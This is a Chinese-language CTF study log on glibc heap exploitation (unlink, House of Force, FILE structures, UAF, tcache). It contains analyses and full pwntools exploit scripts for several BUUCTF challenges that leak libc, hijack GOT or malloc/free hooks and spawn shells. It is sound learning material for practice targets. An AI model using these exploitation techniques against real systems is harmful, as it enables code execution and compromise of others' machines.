整体分析-2021-09-27
本周的PWN都是以熟练、拓展Pwn的基础知识系统为方向
大致分类
- Unlink
- HourseOfForce
- File
- UAF
- Tcache
- 其他角度
堆题的总结经验:
- 任何东西都是万事开头难,要愿意耐心的一步步去动态调试,理解底层的原理,一切都不是难事
- 注重对不同类型题目进行分类归纳模型,很多题目都具有一定共性
- 归纳寻找漏洞的特征模型
- 归纳解决该类题型的方法模板、流程
- 有意识的去选择练习不同类型的题目、拓展广度视野
新角度
稍微有一点偏(带了Crypto),不是重点,算开拓题目视野、角度
Tcache
在不同的系统版本(libc),漏洞利用的方式往往会不同,注重自己上机调试去一步步理解原理
UAF
非常经典的题目类型,多种角度达到任意地址写。
多练练,多动手调试调试!
File结构体
新学习的漏洞利用方式,多积累,慢慢来
HourseOfForce
以一定条件为前提的利用类型:
- 我们只要分配小一点的堆块我们就可以溢出改写topchunk的size。
- 程序本身就可以分配任意大小的堆块,并没有任何限制。
Unlink
经典的堆入门题目的解决方案
=>以制造fakechunk达到任意读写堆数组地址
多动手调试,慢慢就能理解,都是模板化的东西
经验
在静态分析中
- 可以多动手调试的同时,在代码上写笔记或是对变量重命名
- 善用Patch功能,可以先以本地getshell为方向,升维攻击
- 注重环境(与elf的libc环境匹配),可使用
glibc-allinone - 注重内存之间的关系、溢出
- 填充满后(溢出)与填充前的不同?
堆溢出=>关键检查输入函数的逻辑
- 变量类型(无符号溢出?)
- 函数特征(strcpy、读入溢出
\x00) - 读入函数逻辑存在溢出漏洞(+1)
堆题EXP编写的问题
- 如果遇到思路正确,但实在无法getshell(崩溃)或是其他原因,请检查一下内存的问题
- 对堆创建、修改时是否多了一个
\n
- 对堆创建、修改时是否多了一个
- 先把堆题功能菜单写好,把简单做好,一步步来,做起来你就能知道下一步怎么走了。
新角度
ciscn_2019_final_5
分析
堆题
- 创建
- 修改
- 删除
与其他题目不同的地方:
- 会对内容进行 &(AND) |(OR)
- 会泄露一个low 12 bits(buf地址的后3个字节)
- 题目是ubuntu18
跳过,需要先安装ubuntn18的libc2.26动态调试漏洞版本
主题思路是利用算法特性,对堆进行攻击
漏洞分析
如上所说,本题地址存放比较特别,但是如果index为16,并且原地址第五位为0,就会导致地址被修改
而我们第一次申请时候地址最低12bits一般为0x260,即0010 0110 0000,和16即0001 0000或,就变成了0010 0111 0000即为0x270,我们就可以在chunk0的content中伪造一个chunk头部,把它释放之后再申请我们就能利用它控制下一个chunk了
漏洞利用
添加一个note[0],编号为16,size为0x10,内容为p64(0)+p64(0x91),再添加一个note[1],编号为1,size为0xc0(这个大小正好可以包括住content和size数组)
释放note[0]和note[1],重新申请一个0x80大小的note[2],把note[1]头部size改为0x21,fd改为content数组0x6020e0
申请一个0xc0大小的note[3],再申请同样大小的note[4],填入free_got, puts_got+1和atoi_got-4,大小全部设为0x10
先把free_got改为puts@plt(edit 8——free@got&0xf=8,atoi@got&0xf=8,所以需要减4),然后delete(1)泄露puts地址
edit 4把system地址写入,然后发送/bin/sh\x00即可
参考PWNKI的WP:https://www.cnblogs.com/luoleqi/p/13467067.html
保护情况:无PIE,可写GOT
[*] '/root/ciscn_final_5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
EXP
from pwn import *
#r = remote("node4.buuoj.cn", 26967)
r = process("/root/ciscn_final_5",env={"LD_PRELOAD":"/root/libc.so.6"})#/lib64/27_1-linux.so.2"})
#/usr/local/glibc-2.26/lib/ld-2.26.so
context.log_level = 'debug'
elf = ELF("/root/ciscn_final_5")
libc = ELF('/root/libc.so.6')#ELF("/lib64/27_1-linux.so.2")#
content = 0x6020e0
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
def add(index, size, content):
r.sendlineafter("your choice: ",'1')
r.sendlineafter("index: ",str(index))
r.sendlineafter("size: ",str(size))
r.recvuntil("content: ")
r.send(content)
def delete(index):
r.sendlineafter("your choice: ",'2')
r.sendlineafter("index: ",str(index))
def edit(index, content):
r.sendlineafter("your choice: ",'3')
r.sendlineafter("index: ",str(index))
r.recvuntil("content: ")
r.send(content)
add(16,0x10,p64(0)+p64(0x90))
add(1, 0xc0, 'aa\n')
delete(0)
delete(1)
add(2, 0x80, p64(0)+p64(0x21)+p64(content))
add(3, 0xc0, 'aaa\n')
add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)+p64(0)*17+p32(0x10)*8)
edit(8,p64(puts_plt)*2)
delete(1)
puts = u64(r.recv(6).ljust(8, '\x00'))
success("puts:"+hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
edit(4, p64(system)*2)
r.recvuntil("your choice: ")
r.sendline('/bin/sh\x00')
r.interactive()
TCACHE
hitcon_2018_children_tcache
分析
整体特征:
- 创建
- 删除
- 正常清零,但会把堆内容重置为
\xDA
- 正常清零,但会把堆内容重置为
- 输出
保护情况:全开
结合题目是ubuntu18.tcache
猜想:
- 申请大堆泄露unsorted bin地址
- Double Free攻击修改hook
[*] ‘/root/HITCON_2018_children_tcache’
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
看了WP
此题有一个经典的[[OFFByNull]]漏洞
strcpy 字符串复制函数。复制时,遇到结束符
\x00才会停止复制。复制结束后,会在最后写入一个结束符\x00
整体利用思路:
- 布置 4 个堆,先释放 chunk0 做好向前 unlink 准备。
- 通过写 chunk1 实现:溢出修改 chunk2 inuse ,还原 chunk2 prev_size ,伪造 chunk2 prev_size
- tcache bin double free 劫持 __free_hook 为 onegadget
主要是新知识的引入[[Tcache]]
- 一个程序允许7个tcache上限,后进入fast bin(unsorted bin)
- 同时libc2.27需要创建>1024大小的堆块才能进入unsorted bin
- tcache中的chunk永远不会被合并
- tcache也有单链回环结构的漏洞创建(double free)
- 0x250大小的堆一般是tcache的堆管理块
参考大佬的WP:https://blog.csdn.net/weixin_43921239/article/details/109252945
EXP
#coding:utf-8
from pwn import *
context(log_level='debug',arch='amd64')
#p = process("/root/HITCON_2018_children_tcache")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("/root/HITCON_2018_children_tcache")
p = remote("node4.buuoj.cn",27543)
libc = ELF("./x64/libc-2.27_buuctf.so")
def add(size, content):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(content)
def free(index):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Index:")
p.sendline(str(index))
def show(index):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(index))
def pdd():
log.success("pid=>"+str(p.pid))
pause()
add(0x410,'s')
add(0xe8,'k')
add(0x4f0,'y')
add(0x60,'e')
free(0)#enter unsorted bin
free(1)#enter tcache bins
for i in range(0,6):
add(0xe8-i,'k'*(0xe8-i))
free(0)
add(0xe8,'k'*0xe0+p64(0x510))#off by null write size(01 05=> 00 05(0x500))
#overflows write size in chunk2(inuse) for unlink checks
free(2)
add(0x410,'leak libc')
show(0)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libc_base = leak_addr -0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
add(0x60,'getshell')
free(0)
free(2)
"""===>tcache connections:
tcachebins
0x70 [ 2]: 0x56018fd9e680 ◂— 0x56018fd9e680
"""
add(0x60,p64(free_hook))
add(0x60,p64(free_hook))
onegadget = libc_base + 0x4f322#0x4f3c2
log.info("onegadget:"+hex(onegadget))
log.info("free_hook"+hex(free_hook))
add(0x60,p64(onegadget))
## gdb.attach(p,"b *$rebase(0x202060)")
free(0)
p.interactive()
UAF
wustctf2020_easyfast
分析
漏洞点:
一道很明显的[[UAF]]题目
猜想的思路:
- UAF free后制造双链回环结构
- 新建堆到后门要求的条件地址、同时满足长度要求
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/wustctf2020_easyfast"
if isLocal:
p=process(filename)#
else :
p=remote("node4.buuoj.cn",26992)
elf=ELF(filename)
libc=ELF("./x64/libc-2.27_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(size):
ru("choice>")
sl('1')
ru("size>")
sl(str(size))
def free(index):
ru("choice>")
sl('2')
ru("index>")
sl(str(index))
def edit(index,content):
ru("choice>")
sl('3')
ru("index>")
sl(str(index))
sd(content)
def getshell():
ru("choice>")
sl('4')
malloc(0x40)#0
malloc(0x40)#1
free(0)
free(1)
free(0)
#此时链表:0->1->0
goal=0x000000000602090-0x10#size
edit(0,p64(goal))
malloc(0x40)#2
malloc(0x40)#3
edit(3,p64(0))
getshell()
p.interactive()
ACTF_2019_babyheap
分析
漏洞点:
分析:
- 经典的UAF堆题
- 带后门,同时堆内写入了可控制输出函数地址
- Ubuntu 18 还可以DOUBLE FREE
慢一点,不要急,先动态调试看看结构
动态调试:
+0000 0x96d000 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│
+0010 0x96d010 30 d0 96 00 00 00 00 00 8a 09 40 00 00 00 00 00 │0...│....│..@.│....│
+0020 0x96d020 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│
+0030 0x96d030 73 68 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 │sh..│....│....│....│
+0040 0x96d040 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│
+0050 0x96d050 70 d0 96 00 00 00 00 00 8a 09 40 00 00 00 00 00 │p...│....│..@.│....│
+0060 0x96d060 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│
+0070 0x96d070 73 68 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 │sh..│....│....│....│
+0080 0x96d080 00 00 00 00 00 00 00 00 81 0f 02 00 00 00 00 00 │....│....│....│....│
+0090 0x96d090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
...
+08f0 0x96d8f0 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│ │
很明显发现输出程序在0010+8,0050+8的地方
也应验了代码:
*((_QWORD *)*(&ptr + i) + 1) = sub_40098A;//+8是程序
v0 = (void **)*(&ptr + i);//开始是字符串地址
*v0 = malloc(v3);
所以我们利用[[UAF]] free,任意写字符串地址、函数地址即可


最后释放的,往往放在fast bin单链表的最前面。
最先释放的,在fast bin链表的后面(先进后出)
笔记:
sl = lambda s : p.sendline(s)重定义功能lambda
在堆题如果你遇到不知道的问题为什么会崩溃,不妨检查一下创建、修改代码的\n
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"
isLocal=1
filename="/root/ACTF_2019_babyheap"
if isLocal:
p=process(filename)#
else :
p=remote("node4.buuoj.cn",27464)
elf=ELF(filename)
libc=ELF("./x64/libc-2.27_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(size,content):
ru("Your choice:")
sl('1')
ru(":")
sl(str(size))
ru(":")
sd(content)
def free(index):
ru("Your choice:")
sl('2')
ru(":")
sl(str(index))
def dump(index):
ru("Your choice:")
sl('3')
ru(":")
sl(str(index))
malloc(0x30,b"dsfdsgdfgfg\n")#0 1
malloc(0x30,b"sdfzxfcvdsfg\n")#2 3
free(0)
free(1)
binsh_addr=0x0000000000602010
backdoor=elf.plt["system"]
malloc(0x10,p64(binsh_addr)+p64(backdoor))#修改chunk0的主堆 越早释放,在链表越后面(第二个)
dump(0)
p.interactive()
gyctf_2020_some_thing_interesting
分析
漏洞点:
- UAF

- 格式化字符换漏洞

保护情况:全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
基本特征:
- 有一个格式化字符串漏洞
- Free后未清零可导致UAF
基本功能
- 输出printf
- 创建堆
- 一次创建2个堆
- 修改堆
- 长度为创建时定义
- 释放堆
- 不清零
- 输出堆
- 打印堆内容
考虑:
0. printf泄露libc指针
- UAF后修改hook指针实现getshell
泄露libc:
OreOOrereOOreO%17$p
有毒好吧,有时候realloc_hook不一定完全有用
malloc_hook首选,还有gadget 多尝试几个
整体利用思路:
- 字符串格式化漏洞泄露libc地址
- UAF制造回环,任意写Hook地址
EXP
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/gyctf_2020_some_thing_interesting"
libc=ELF("./x64/libc-2.23_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p =remote("node4.buuoj.cn",26316)#
elf=ELF(name)
def create(sizeo, contento,resize,recontent):
p.recvuntil('you want to do :')
p.sendline('1')
p.recvuntil('>')
p.sendline(str(sizeo))
p.recvuntil('>')
p.send(contento)
p.recvuntil('>')
p.sendline(str(resize))
p.recvuntil('>')
p.send(recontent)
def edit(idx,contentO,contentRE):
p.recvuntil('you want to do :')
p.sendline('1')
p.recvuntil('>')
p.sendline(str(idx))
p.recvuntil('>')
p.sendline(contentO)
p.recvuntil('>')
p.sendline(contentRE)
def delete(idx):
p.recvuntil('you want to do :')
p.sendline('3')
p.recvuntil('>')
p.sendline(str(idx))
def show(idx):
p.recvuntil('you want to do :')
p.sendline('4')
p.recvuntil('>')
p.sendline(str(idx))
p.sendlineafter("Input your code please:",b"OreOOrereOOreO%17$p")
p.sendlineafter("to do","0")
p.recvuntil("0x")
leak=int(p.recv(12),16)-240
libc_base=leak-libc.sym["__libc_start_main"]#base 以 \x000结尾
#libc.address=libc_base
log.success("libc => {}".format(hex(libc_base)))
create(0x68,b"dddd",0x50,b"bbbb")#1
create(0x68,b"cccc",0x50,b"gggg")#2
delete(1)
delete(2)
delete(1)
## 回环 fast bin
malloc_hook=libc_base+libc.sym["__malloc_hook"]-0x23#0x7f
realloc_hook=libc_base+libc.sym["__realloc_hook"]
one_gadget=libc_base+0xf1147
payload=b'a'*0x13+p64(one_gadget)##b"a"*11+p64(one_gadget)+p64(realloc_hook)
create(0x68,p64(malloc_hook),0x68,p64(0))
create(0x68,p64(0),0x68,payload)
log.success("hook => {}".format(hex(malloc_hook)))
#flag{60e29c31-f039-422e-9d68-a40a46e4a23e}
p.interactive()
bjdctf_2020_YDSneedGrirlfrien
分析
堆题
同时存在很明显的UAF漏洞,结合程序输出函数存在堆内,可UAF对其修改
到后门函数~
动态调试发现,函数存在0x20的堆内,我们申请0x10
+0000 0x1923000 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│
+0010 0x1923010 63 08 40 00 00 00 00 00 30 30 92 01 00 00 00 00 │c.@.│....│00..│....│
+0020 0x1923020 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│
+0030 0x1923030 4c 69 6c 79 00 00 00 00 00 00 00 00 00 00 00 00 │Lily│....│....│....│
+0040 0x1923040 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│
+0050 0x1923050 63 08 40 00 00 00 00 00 70 30 92 01 00 00 00 00 │c.@.│....│p0..│....│
+0060 0x1923060 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │....│....│!...│....│
+0070 0x1923070 50 65 61 63 68 65 73 00 00 00 00 00 00 00 00 00 │Peac│hes.│....│....│
+0080 0x1923080 00 00 00 00 00 00 00 00 81 0f 02 00 00 00 00 00 │....│....│....│....│
+0090 0x1923090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
目标覆盖0x10\0x50即可
利用思路:
- 程序的创建逻辑
- 0x20的堆块存放输出函数地址、大小
- n大小自定义
由于有UAF漏洞,在UAF后,我们只要创建回输出函数地址的堆块地址即可
利用流程:
- 创建2个0x10大小并以回环形式释放(相当于回收了4个0x20的bins)
- 需要进行
Double Free List的方法释放 0xeba020 —▸ 0xeba040 —▸ 0xeba060 —▸ 0xeba000 —▸ 0x400863
- 需要进行
- 创建1个大于0x20的bins(取了1个回收的0x20 bins)
- 创建一个0x10大小的Bins(取了2个回收的0x20 bins)
- 此时堆块内容覆写到第三个0x20的bins,其实就是释放的第二个堆块的函数地址存放堆
让双变单(创建其他大小堆)
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/bjdctf_2020_YDSneedGrirlfriend"
if isLocal:
p=process(filename)#
pause()
else :
p=remote("node4.buuoj.cn",27817)
elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
def create(size, content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Her name size is :')
p.sendline(str(size))
p.recvuntil("Her name is :")
p.send(content)
def free(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil(':')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil(':')
p.sendline(str(idx))
create(0x10,b"bigger")#2个0x20
create(0x10,b"sdsdsdsd")#2个0x20
free(0)
free(1)
free(0)
backdoor=0x0000000000400B9C
create(0x20,p64(backdoor))#一个0x20 和 0x30
create(0x10,p64(backdoor))#刚好取到写入输入函数的堆块bin (0x50)
pause()
dump(1)
p.interactive()
ciscn_2019_en_3
分析
堆题
整体特征:
- 创建
- 删除
- 未清零,可重用
保护情况:全开,GOT不可写
[*] '/root/ciscn_2019_en_3'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
分析
可泄露libc,同时存在UAF,分析是Ubuntu18环境,考虑可以doublefree 制造泄露unsorted bin 回链改hook
在ubuntu18自定义libc2.27,可使用IDA远程调试。
其double free实际原理就是
制造了一个回环结构,下次再创建2个堆时,会变成指针结构(chunk0->chunk1)
看了看WP提示,主要的利用思路
- 利用变量的特性,当s读入满8字节后,会泄露libc(+set_buffer)函数的基地址可用来计算libc地址

- 利用libc2.27tcache特性,double free 制造回环结构=>修改
__free_hook函数指针
提取到的知识点:
- 堆题在找漏洞时,不仅要注意堆溢出,还要注意栈溢出(看变量在栈上空间)
- 例如本题
char s[16];read(0, s, 8uLL);可测试是否填充满后泄露数据
- 例如本题
- free不清零就会有UAF漏洞,在libc2.27低版本,double free可以快速建立一个指针回环结构,相当于可任意地址写
- 在不支持的libc版本,可在支持的系统下,用IDA调试。(或用glibc-one-in-all的方法)
- 一旦泄露了
\x7f之类的数据,可与libc基地址比较,计算一下是什么东西~
EXP
from pwn import *
context.log_level = 'debug'
#p=process('/root/ciscn_2019_en_3',env={"LD_PRELOAD":"./x64/libc-2.27_buuctf.so"})
p=remote('node4.buuoj.cn',27039)
elf=ELF('/root/ciscn_2019_en_3')
libc=ELF('./x64/libc-2.27_buuctf.so')
def add(size,story):
p.sendlineafter('choice:','1')
p.sendlineafter('story:',str(size))
p.sendlineafter('story:',story)
def edit():
p.sendlineafter('choice:','2')
def show():
p.sendlineafter('choice:','3')
def delete(idx):
p.sendlineafter('choice:','4')
p.sendlineafter('index:',str(idx))
p.recvuntil("What's your name?")
p.sendline('pppp')
p.recvuntil('Please input your ID.')
p.sendline('pppppppp')#1.leak
setbuff=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-231
libc_base=setbuff-libc.symbols['setbuffer']
system_addr=libc_base+libc.symbols['system']
free_addr=libc_base+libc.symbols['__free_hook']
print(hex(libc_base))
print(hex(setbuff))
add(0x60,'pppp')
add(0x60,'/bin/sh\x00')
pause()
delete(0)
delete(0)
#2.double free (backconnections)
add(0x60,p64(free_addr))
add(0x60,'pppp')
print(hex(free_addr))
#gdb.attach(p)
add(0x60,p64(system_addr))
#gdb.attach(p)
delete(1)
p.interactive()
FILE结构体
ciscn_2019_final_2
分析
堆题
特征:
- 有沙盒,getshell只能够通过打开flag文件

- free时无清零(可uaf)

- 在init中,系统已经通过
open读入了flag到fp,并且调用 了dup2
保护情况:全开
[*] '/root/ciscn_final_2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[[dup2]] :用来复制文件描述符:int dup2 (int oldfd,int newfd)
_fileno 是用来规定 fd 所指向的文件流的,init()将flag的fd改成了666,所以我们只要想办法把 stdin 的 _fileno 改成 666 即可,这样在之后 scanf 就会将 fd == 666 (flag)的内容输入到 & v0 中,然后我们就可以输出 flag 的内容了
dup2新知识,将flag文件数据(fd3 重定向到了fd 666)
这就意味着(一定确定):
- 不能够通过system,只能通过open读文件获取flag=>(读取fd=666的内容即可)
- 需要泄露libc
对于alarm,可以直接选择NOP
看看WP提示,思路是通过修改_IO_2_1_stdin_的地址,达到修改输入流fileno的目的,泄露fd=666的内容
利用思路:
- 分配足够多的 tcachebin 使其合并进入 unorted bin 。(一般为0x400)
- 通过 unsorted bin 的 fd 指针泄露 libc 的基址,并计算出 fileno 的地址。
- 运用 double free 与 house of spirit 技术将 stdin 的 fileno 改为 666 ,这样 scanf 的时候就会从 flag 文件中读取数据。
- 触发 leave 函数,打印 flag 。
### EXP
```py
from pwn import *
context.log_level="debug"
context.arch="amd64"
#p=remote('node4.buuoj.cn',26223)
p=process('/root/ciscn_final_2')
elf = ELF('/root/ciscn_final_2')
libc = ELF('./x64/libc-2.27_buuctf.so')
def add(add_type, add_num):
p.sendlineafter('which command?\n> ','1')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
p.sendafter('your inode number:', str(add_num))
def remove(remove_type):
p.sendlineafter('which command?\n> ', '2')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))
def show(show_type):
p.sendlineafter('which command?\n> ', '3')
p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
if show_type == 1:
p.recvuntil('your int type inode number :')
elif show_type == 2:
p.recvuntil('your short type inode number :')
return int(p.recvuntil('\n', drop=True))
add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)#double free
#gdb.attach(p)
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)
for i in range(0, 7):
remove(1)
add(2, 0x20)
remove(1)
addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70
add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30)
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)
p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
p.interactive()
HourseOfForce
gyctf_2020_force
分析
分析可以看到程序的基本功能
- Add

- dump
同时add后会给出堆的地址
content的大小最大最小都为80
那这道题的猜测思路:
- 泄露unsorted bin地址,计算malloc_hook地址
- 写shell到malloc hook
主要漏洞 - 栈溢出
保护情况:全开
[*] '/root/gyctf_2020_force'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
看了WP,主体思路:
![[HourseOfForce]]
主要利用思路
- 通过分配一个超大块(mmap),会返回与libc固定偏移地址,达到泄露libc的目的
- 堆溢出覆写top chunk size位为0xffffffff,过掉malloc大小检查(为下一步分配大size堆块 准备)
- 计算topchunk与
__malloc_hook的地址,分配offset大小堆块落在hook指针size位处,覆写__realloc_hook与__malloc_hook - 利用
__realloc_hook构造栈环境使one_gadget满足条件Getshell
参考WP:
https://blog.csdn.net/qq_43986365/article/details/107976352
新额外笔记:
libc.search('sh').next()可搜索libc内字符串libc.address=x可设置libc的基地址,更方便算出libc函数地址vmmap可查看超大堆块地址
EXP
整体思路:
- 通过分配超大堆块泄露libc地址
- 改写
hook地址
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"
isLocal=1
filename="/root/gyctf_2020_force"
if isLocal:
p=process(filename)#
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else :
p=remote("node4.buuoj.cn",27889)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
def create(size, content):
p.recvuntil('2:puts')
p.sendline('1')
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil("bin addr ")#bin addr %p\n
p.recvuntil("0x")
bin_addr=int(p.recv(12),16)
p.recvuntil("content")
p.send(content)
return bin_addr
def dump(idx):
p.recvuntil('2:puts')
p.sendline('2')
addr=create(0x200000, 'chunk0\n')#分配大堆要在vmmap命令查看,返回与libc的偏移
libc_base=addr+0x200FF0
libc.address=libc_base#写入base地址 方便计算
heap_addr = create(0x18, b'a'*0x10+p64(0)+p64(0xFFFFFFFFFFFFFFFF))
one_gadget_16=0x4526a
top = heap_addr + 0x10
malloc_hook = libc.sym['__malloc_hook']
#success("malloc_hook"+hex(malloc_hook))
one_gadget = one_gadget_16 + libc_base
realloc = libc.sym["__libc_realloc"]
offset = malloc_hook - top
#system = libc.sym['system']
#bin_sh = libc.search('sh').next()#在libc内搜索字符串地址
#success("system:" + hex(system))
#success("bin_sh" + hex(bin_sh))
create(offset-0x33, b'aaa\n')#堆到malloc hook的偏移(很大)
create(0x10, b'a'*8+p64(one_gadget)+p64(realloc+0x10))
pause()
p.recvuntil('2:puts')
p.sendline('1')
p.recvuntil('size')
p.sendline('20')
p.interactive()
Unlink
axb_2019_heap
分析
堆
保护情况:全开
[*] '/root/axb_2019_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序分析:
- 只能够使用hook,不可改got
- 需要泄露libc(开了PIE)
- 要泄露libc,必须制造输出
- 在动态调试中发现,运行前有一个格式化字符串漏洞

- 在动态调试中发现,运行前有一个格式化字符串漏洞
- 在输入函数中
get_input存在off by one漏洞
主体思路==>unlink去修改free_hook达到getshell
如果开了PIE,bss地址可以用base+地址计算(base是main程序基地址)
所以我们只需泄露
- libc基地址
- elf基地址
额外知识:
使用KeyPatch修改源程序(过alarm)
步骤:
- 使用Patch Programe
- 修改Assemble
- Apply
Fill Nop
下次可以这样,先把程序Patch,本地getshell,在写exp
下次记得尽可能把所有函数分析完,可以把变量重命名
EXP
主体思路:
- 字符串格式化漏洞泄露libc/main的地址以便计算各自基地址
- unlink(通过动态计算PIE地址、结合offbyone漏洞)
- 修改
hook指针地址达到getshell
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/axb_2019_heap_patch.bak"
if isLocal:
p=process(filename)#
pause()
else :
p=remote("node4.buuoj.cn",28209)
elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
def create(idx,size, content):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('Enter the index you want to create (0-10):')
p.sendline(str(idx))
p.recvuntil('Enter a size:')
p.sendline(str(size))
p.recvuntil("Enter the content: ")
p.send(content)
def edit(idx,content):
p.recvuntil('>> ')
p.sendline('4')
p.recvuntil("Enter an index:")
p.sendline(str(idx))
p.recvuntil('Enter the content: ')
p.sendline(content)
def delete(idx):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil("Enter an index:")
p.sendline(str(idx))
p.recvuntil("Enter your name: ")
p.sendline("%15$p.%19$p")
p.recvuntil("0x")
libc_so_addr=int(p.recv(12),16)-240#通常是(__libc_start_main+240)
p.recvuntil("0x")
main_addr=int(p.recv(12),16)
libc_base=libc_so_addr-libc.sym["__libc_start_main"]
elf_base=main_addr-elf.sym["main"]#elfbase就是pie
free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]
ptr=elf_base+0x000000000202060
fd=ptr-0x18
bk=ptr-0x10
log.success("ptr => "+hex(ptr))
fake_chunk=p64(0)+p64(0x91)
fake_chunk+=p64(fd)+p64(bk)#0x10
fake_chunk+=b"a"*0x70#size-0x20
fake_chunk+=p64(0x90)#0x98 now
fake_chunk+=p64(0xa0)#overflow_one:size
#off by one刚好溢出0xa0
create(0,0x98,b"aaaa\n")
create(1,0x90,b"bbbb\n")
edit(0,fake_chunk)#off by one
delete(1)#unlink
payload=b"a"*0x18+p64(free_hook)+p64(0x38)
payload+=p64(ptr+0x18)+b"/bin/sh\x00"
#0x5606e517f070 (note+16) —▸ 0x5606e517f078 (note+24) ◂— 0x68732f6e69622f /* '/bin/sh' */
edit(0,payload)
#0x558033648060 -> 0x558033648048 (0x18 offset)
payload=p64(system_addr)
edit(0,payload)
delete(1)
p.interactive()
note2
分析
保护情况:无PIE,可写GOT
root@ubuntu:~## pwn checksec note2
[*] '/root/note2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
主要漏洞点:
在edit_content存在无符号整数溢出漏洞,(若输入长度为0)可无限制读入
主要利用思路==>Unlink做法
- 利用堆溢出,分两部分创建fakechunk
- 第一块建立fakechunk(fd\bk\size)
- 第二块(0大小堆块)、第三块创建后,过掉malloc检查(必须)
